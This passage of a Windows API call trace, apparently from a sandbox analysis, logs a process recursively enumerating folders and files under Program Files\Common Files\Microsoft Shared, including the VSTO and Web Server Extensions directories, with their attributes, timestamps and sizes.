ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.406] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0170.406] GetProcessHeap () returned 0x6a0000 [0170.406] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.771] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.771] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0170.771] GetProcessHeap () returned 0x6a0000 [0170.771] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0170.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.772] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.772] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0170.772] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0170.772] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0170.772] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.772] GetProcessHeap () returned 0x6a0000 [0170.772] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0170.772] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0170.772] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0170.773] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0170.773] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0170.773] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0170.773] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.773] GetProcessHeap () returned 0x6a0000 [0170.773] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.773] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0170.773] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0170.773] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0170.773] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0170.773] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.774] GetProcessHeap () returned 0x6a0000 [0170.774] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.774] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0170.774] GetProcessHeap () returned 0x6a0000 [0170.774] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.774] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.774] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0170.774] GetProcessHeap () returned 0x6a0000 [0170.774] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.774] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.774] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0170.774] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0170.774] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.775] GetProcessHeap () returned 0x6a0000 [0170.775] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.775] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0170.775] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0170.775] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.775] GetProcessHeap () returned 0x6a0000 [0170.775] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.775] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0170.775] GetProcessHeap () returned 0x6a0000 [0170.775] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.775] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.775] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0170.775] GetProcessHeap () returned 0x6a0000 [0170.775] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.776] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.776] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0170.776] GetProcessHeap () returned 0x6a0000 [0170.776] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0170.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.776] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.776] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0170.776] GetProcessHeap () returned 0x6a0000 [0170.776] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0170.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0170.777] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.777] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0170.777] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, 